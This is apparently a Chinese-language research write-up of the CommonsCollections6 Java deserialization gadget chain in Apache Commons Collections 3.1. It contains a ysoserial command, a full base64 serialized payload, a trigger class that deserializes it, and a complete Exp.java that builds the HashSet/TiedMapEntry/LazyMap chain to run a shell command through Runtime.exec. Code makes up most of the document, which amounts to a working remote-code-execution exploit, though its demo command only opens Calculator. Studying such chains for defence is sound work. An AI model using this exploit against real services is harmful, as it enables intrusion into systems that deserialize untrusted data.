利用IDEA创建一个maven
项目,导入依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
利用ysoserial
生成payload:
xxxxxxxxxx
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections6 'open /System/Applications/Calculator.app' |base64
得到
xxxxxxxxxx
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=
这里用的jdk1.8.0_121
触发Poc
:
ximport java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Poc {
public static void main(String[] args) throws IOException,ClassNotFoundException {
String base64_exp = "BASE64_EXP";
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
}
入口点是java.util.HashSet
的readObject()
中的map.put(e, PRESENT);
326行到328行,这里可以控制map
为new HashMap()
且333行的e
可控 (这里的readObject()
就是再从序列化数据中取出一个Object
,类似于readInt()
,readFloat()
),进入map.put()
跟入HashMap()
的put()
继续跟入hash()
这里key
可控,需要找一个hashCode()
可利用的点
还是CC5
中提到的org.apache.commons.collections.keyvalue.TiedMapEntry
其中有hashCode()
方法,且其中执行了getValue()
,进入getValue()
后又回到了之前利用get()
方法的链
照抄CC1
前半段
值得注意的是,这里要先构造一个占位的fakeTransformers
xxxxxxxxxx
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
作用是避免在生成exp
的过程中就直接执行命令(而且如果不加这个fakeTranformers
,我在本地执行POC.java
时会有问题,不能成功序列化正确的内容)
EXP part 1
:
xxxxxxxxxx
ConstantTransformer Runtime_class = new ConstantTransformer(java.lang.Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c","open /System/Applications/Calculator.app"}});
// 占位
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
// 真正的exp链
Transformer[] transformers = new Transformer[]{Runtime_class, getMethod, invoke, exec};
ChainedTransformer TransformerChain = new ChainedTransformer(fakeTransformers);
要执行hashCode()
也就是要在HashMap
中执行public V put(K key, V value)
且传入的key
需要为TiedMapEntry
EXP part 2
:
xxxxxxxxxx
// 可以先手动用真实exp的链来构造触发 put() 测试
ChainedTransformer TransformerChain = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, TransformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "c014");
HashMap hashMap2 = new HashMap();
hashMap2.put(tiedMapEntry,"c014");
最后就是要在HashSet
中执行map.put(e, PRESENT);
且map
需要为HashMap
,e
需要为tiedMapEntry
,才能执行到TiedMapEntry.hashcode()
根据HashSet.add()
把tiedMapEntry
绑定到HashSet
,这样在反序列化的时候map.put(e, PRESENT)
中的e
就是tiedMapEntry
,构造
xxxxxxxxxx
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "c014");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
// 赋值真的RCE链
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(TransformerChain, transformers);
运行后无报错
但是将hashSet
序列化之后再用Poc.java
反序列化发现无法命令执行
是哪里出了问题?下断点看看
一路跟到了LazyMap.get()
再往下执行发现直接跳到了else
分支,因为super.map.containsKey(key)
事先已经存在了,所以并未进入if
中的transform()
,导致命令未能成功执行
那为什么会存在这个c014
呢?
主要是我们Poc.java
中的hashSet.add(tiedMapEntry)
操作
这一步相当于将fakeTransformers
的内容在链中执行了一遍,导致c014
也被put
了进去
因此我们在序列化的时候lazyMap
事先必须不存在c014
键值,这样才进入这个if
分支
所以直接使用hashSet.add(tiedMapEntry)
是不行的,还需要在序列化之前删除lazyMap
中的c014
属性
remove()
掉即可
故EXP part 3
:
xxxxxxxxxx
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "c014");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("c014");
xxxxxxxxxx
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashSet;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Exp {
public static void main(String[] args) throws Exception {
ConstantTransformer Runtime_class = new ConstantTransformer(java.lang.Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c","open /System/Applications/Calculator.app"}});
// 占位
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
// RCE 链
Transformer[] transformers = new Transformer[]{Runtime_class, getMethod, invoke, exec};
ChainedTransformer TransformerChain = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, TransformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "c014");
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
lazyMap.remove("c014");
// 赋值真的RCE链
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(TransformerChain, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));
oos.writeObject(hashSet);
oos.close();
}
}